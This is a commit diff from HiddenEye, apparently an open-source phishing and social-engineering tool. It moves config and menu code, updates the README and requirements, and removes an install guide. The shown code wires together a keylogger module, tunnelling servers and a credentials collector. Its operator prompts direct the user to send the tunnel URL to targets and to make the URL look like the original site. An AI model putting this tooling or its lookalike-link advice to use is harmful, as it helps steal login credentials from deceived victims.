f = open('Defs/Send_Email/emailconfig.py', 'w') f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
f.write(c) f.write(c)
f.close() f.close()
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0], default_palette[4])) print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
print( print(
'\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/Send_Email/Config.py)'.format(default_palette[0], default_palette[4])) '\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)'.format(default_palette[0], default_palette[4]))

View File

@ -0,0 +1,16 @@
#
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
import Defs.ThemeManager.theme as theme
default_palette = theme.default_palette
def print_sorted_as_menu(sorting_list):
col_width = max(len(word) for row in sorting_list for word in row) + 2
for row in sorting_list:
print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2]))

View File

@ -1,21 +0,0 @@
#
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
import Defs.ThemeManager.theme as theme
from Defs.LocalizationManager.localization import _
default_palette = theme.default_palette
lang_server_selection = {
"server_selection" : _('{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"select_any_available_server" : _('\n {0}[{1}*{0}]{0}Select Any Available Server:{1}').format(default_palette[0], default_palette[4]),
"servers_list" :
[ ['{0}[{1}00{0}]{1}Localhost', '{0}[{1}04{0}]{1}Localtunnel (not working now)'],
['{0}[{1}01{0}]{1}Ngrok', '{0}[{1}05{0}]{1}OpenPort (not working now)'],
['{0}[{1}02{0}]{1}Serveo', '{0}[{1}06{0}]{1}Pagekite (not working now)'],
['{0}[{1}03{0}]{1}Localxpose (not working now)']]
}

View File

@ -10,6 +10,16 @@ from Defs.LocalizationManager.localization import _
default_palette = theme.default_palette default_palette = theme.default_palette
lang_server_selection = {
"server_selection" : _('{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"select_any_available_server" : _('\n {0}[{1}*{0}]{0}Select Any Available Server:{1}').format(default_palette[0], default_palette[4]),
"servers_list" :
[ ['{0}[{1}00{0}]{1}Localhost', '{0}[{1}04{0}]{1}Localtunnel (not working now)'],
['{0}[{1}01{0}]{1}Ngrok', '{0}[{1}05{0}]{1}OpenPort (not working now)'],
['{0}[{1}02{0}]{1}Serveo', '{0}[{1}06{0}]{1}Pagekite (not working now)'],
['{0}[{1}03{0}]{1}Localxpose (not working now)']]
}
lang_start_localhost = { lang_start_localhost = {
"localhost_server" : _('\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "localhost_server" : _('\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"your_localhost_is" : _('Your Localhost is '), "your_localhost_is" : _('Your Localhost is '),
@ -27,7 +37,7 @@ lang_start_ngrok = {
lang_start_serveo = { lang_start_serveo = {
"serveo_random_server" : _('\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "serveo_random_server" : _('\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"server_custom_server" : _('\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "serveo_custom_server" : _('\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]),
"send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS').format(default_palette[0], default_palette[4]), "send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS').format(default_palette[0], default_palette[4]),
"make_url_simmilar_to_real_suggestion" : _('\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.').format(default_palette[0], default_palette[4]), "make_url_simmilar_to_real_suggestion" : _('\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.').format(default_palette[0], default_palette[4]),
"insert_custom_subdomain" : _('\n{0}Insert a custom subdomain for serveo').format(default_palette[0], default_palette[2]), "insert_custom_subdomain" : _('\n{0}Insert a custom subdomain for serveo').format(default_palette[0], default_palette[2]),

View File

@ -10,7 +10,6 @@ import Defs.FeatureManager.keylogger as keylogger
import Defs.FeatureManager.cloudflare as cloudflare import Defs.FeatureManager.cloudflare as cloudflare
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.ActionManager.Server.server_runner as server_runner import Defs.ActionManager.Server.server_runner as server_runner
import Defs.ActionManager.Server.server_menu as server_menu
import Defs.ActionManager.simple_informant as simple_informant import Defs.ActionManager.simple_informant as simple_informant
import multiprocessing import multiprocessing
import sys import sys
@ -46,7 +45,7 @@ if __name__ == "__main__":
############## ##############
server_runner.start_server(port) server_runner.start_server(port)
server_menu.server_selection(port) server_runner.server_selection(port)
multiprocessing.Process(target=server_runner.start_server, args=(port,)).start() multiprocessing.Process(target=server_runner.start_server, args=(port,)).start()
simple_informant.credentials_collector(port) simple_informant.credentials_collector(port)

View File

@ -14,7 +14,7 @@
<p align="center"> <p align="center">
<a href="https://github.com/darksecdevelopers"><img title="Open Source Love" src="https://badges.frapsoft.com/os/v2/open-source.png?v=103" ></a> <a href="https://github.com/darksecdevelopers"><img title="Open Source Love" src="https://badges.frapsoft.com/os/v2/open-source.png?v=103" ></a>
<a href="https://github.com/DarkSecDevelopers/HiddenEye/releases"><img title="GitHub version" src="https://d25lcipzij17d.cloudfront.net/badge.svg?id=gh&type=6&v=0.5.4&x2=0" ></a> <a href="https://github.com/DarkSecDevelopers/HiddenEye/releases"><img title="GitHub version" src="https://d25lcipzij17d.cloudfront.net/badge.svg?id=gh&type=6&v=1.0.0&x2=0" ></a>
<a href="https://www.codefactor.io/repository/github/darksecdevelopers/hiddeneye"><img src="https://www.codefactor.io/repository/github/darksecdevelopers/hiddeneye/badge" alt="CodeFactor" /></a> <a href="https://www.codefactor.io/repository/github/darksecdevelopers/hiddeneye"><img src="https://www.codefactor.io/repository/github/darksecdevelopers/hiddeneye/badge" alt="CodeFactor" /></a>
<a href="https://www.codacy.com/manual/DarkSecDevelopers/HiddenEye?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=DarkSecDevelopers/HiddenEye&amp;utm_campaign=Badge_Grade"><img src="https://api.codacy.com/project/badge/Grade/af9fadca3cfc4de19232d0840988e121"/></a> <a href="https://www.codacy.com/manual/DarkSecDevelopers/HiddenEye?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=DarkSecDevelopers/HiddenEye&amp;utm_campaign=Badge_Grade"><img src="https://api.codacy.com/project/badge/Grade/af9fadca3cfc4de19232d0840988e121"/></a>
<a href="https://app.fossa.com/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye?ref=badge_shield" alt="FOSSA Status"><img src="https://app.fossa.com/api/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye.svg?type=shield"/></a> <a href="https://app.fossa.com/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye?ref=badge_shield" alt="FOSSA Status"><img src="https://app.fossa.com/api/projects/git%2Bgithub.com%2FDarkSecDevelopers%2FHiddenEye.svg?type=shield"/></a>
@ -40,6 +40,7 @@ The use of the HiddenEye & its resources/phishing-pages is **COMPLETE RESPONSIBI
5) Micrafast (https://github.com/Micrafast) 5) Micrafast (https://github.com/Micrafast)
6) Moltivie (https://github.com/Moltivie) 6) Moltivie (https://github.com/Moltivie)
7) endbehavi0r (https://github.com/endbehavi0r) 7) endbehavi0r (https://github.com/endbehavi0r)
8) DarkMidus (https://github.com/DarkMidus)
8) ___________ (WAITING FOR YOU) 8) ___________ (WAITING FOR YOU)
# AVAILABLE TUNNELLING OPTIONS** # AVAILABLE TUNNELLING OPTIONS**
@ -77,9 +78,10 @@ The use of the HiddenEye & its resources/phishing-pages is **COMPLETE RESPONSIBI
### PREREQUISITES ( Please verify if you have installed ) ### PREREQUISITES ( Please verify if you have installed )
* Python 3 * Python 3.*
* PHP * PHP
* sudo * sudo
* pyngrok
# FOUND A BUG ? / HAVE ANY ISSUE ? :- (Read This) # FOUND A BUG ? / HAVE ANY ISSUE ? :- (Read This)
* Check closed & solved issues/bugs before opening new. * Check closed & solved issues/bugs before opening new.
@ -109,7 +111,7 @@ The use of the HiddenEye & its resources/phishing-pages is **COMPLETE RESPONSIBI
**(B) Termux App** **(B) Termux App**
- You Have to Download Termux App. [Click Here](https://play.google.com/store/apps/details?id=com.termux) To Download it. - You Have to Download Termux App. [Click Here](https://play.google.com/store/apps/details?id=com.termux) To Download it.
- For Further instruction [Check Instructions](https://github.com/DarkSecDevelopers/HiddenEye/blob/master/instructions.md) - For Further instruction [Check Instructions](https://github.com/DarkSecDevelopers/HiddenEye/wiki/Installation-Instructions)
- Termux Users Clone With This Command , Unless Errors may occur during Running. - Termux Users Clone With This Command , Unless Errors may occur during Running.
``` ```
git clone -b Termux-Support-Branch https://github.com/DarkSecDevelopers/HiddenEye.git git clone -b Termux-Support-Branch https://github.com/DarkSecDevelopers/HiddenEye.git
@ -147,7 +149,7 @@ git clone -b Termux-Support-Branch https://github.com/DarkSecDevelopers/HiddenEy
- GDRIVE (By @thewhiteh4t) - GDRIVE (By @thewhiteh4t)
## [Check This](https://youtu.be/InSdtLhZzk4) Demonstration video to know How (Location) Social-Engineering-Tool Works. ## [Check This](https://youtu.be/InSdtLhZzk4) Demonstration video to know How (Location) Social-Engineering-Tool Works.
## FOR FURTHER INSTALLATION PROCEDURE - [(CHECK INSTRUCTIONS)](https://github.com/DarkSecDevelopers/HiddenEye/blob/master/instructions.md) ## FOR FURTHER INSTALLATION PROCEDURE - [(CHECK INSTRUCTIONS)](https://github.com/DarkSecDevelopers/HiddenEye/wiki/Installation-Instructions)
## BACKUP REPOSITORY AVAILABLE AT GITLAB - [(CHECK HERE)](https://gitlab.com/an0nud4y/HiddenEye) ## BACKUP REPOSITORY AVAILABLE AT GITLAB - [(CHECK HERE)](https://gitlab.com/an0nud4y/HiddenEye)
</p> </p>

0
Server/CapturedData/.gitkeep Normal file → Executable file
View File

View File

@ -1 +0,0 @@

View File

@ -1,176 +0,0 @@
## HOW TO INSTALL
### BlackArch official repository
```
sudo pacman -S hidden-eye
```
to run just use
```
sudo hidden-eye
```
### CLONE
```
git clone https://github.com/DarkSecDevelopers/HiddenEye.git
```
### RUNNING (In Linux)
```
chmod 777 HiddenEye
```
```
sudo apt install python3-pip
```
```
cd HiddenEye
```
```
sudo pip3 install -r requirements.txt
```
```
sudo pip3 install requests
```
```
python3 HiddenEye.py
```
OR
```
./HiddenEye.py
```
### RUNNING (Arch Linux or Manjaro)
```
chmod 777 HiddenEye
```
```
sudo pacman -Syu
```
```
sudo pacman -S python-pip
```
```
cd HiddenEye
```
```
sudo pip3 install -r requirements.txt
```
```
sudo python3 HiddenEye.py
```
OR
```
sudo ./HiddenEye.py
```
## FOR ANDROID USERS
### 1) INSTALLING IN (USERLAND APP)
```
Install userland app from playstore.
```
```
Set up app and install kali from app.Set ssh username(anyname) and password.
```
```
When kali will run it'll ask for password type the ssh password.Then do su.After that kali will run on your device wothout root and do apt update For more info read here (https://null-byte.wonderhowto.com/how-to/android-for-hackers-turn-android-phone-into-hacking-device-without-root-0189649/)
```
```
sudo apt install python3 python3-pip unzip php git
```
```
git clone https://github.com/DarkSecDevelopers/HiddenEye.git
```
```
chmod 777 HiddenEye
```
```
cd HiddenEye
```
```
pip3 install -r requirements.txt && pip3 install requests
```
```
python3 HiddenEye.py
```
### 2) INSTALLING IN (TERMUX APP)
```
First install { Termux } from Playstore.
```
```
After opening Follow below commands One by one
```
```
pkg install git python php curl openssh grep
```
```
git clone -b Termux-Support-Branch https://github.com/DarkSecDevelopers/HiddenEye.git
```
```
chmod 777 HiddenEye
```
```
pip install requests
```
```
cd HiddenEye
```
```
python HiddenEye.py
or
./HiddenEye.py
```
### ONE LINE COMMAND TO INSTALL IN TERMUX(ANDROID). Just copy/paste this single command and hit Enter .. ALL DONE
```
First install { Termux } from Playstore.
```
```
After opening Copy and run this Single Command.
```
```
pkg install git python php curl openssh grep && git clone -b Termux-Support-Branch https://github.com/DarkSecDevelopers/HiddenEye.git && chmod 777 HiddenEye && cd HiddenEye && pip install -r requirements.txt && pip install requests && python HiddenEye.py
```

View File

@ -1,2 +1,4 @@
requests
pyngrok requests==2.23.0
pyngrok==3.1.1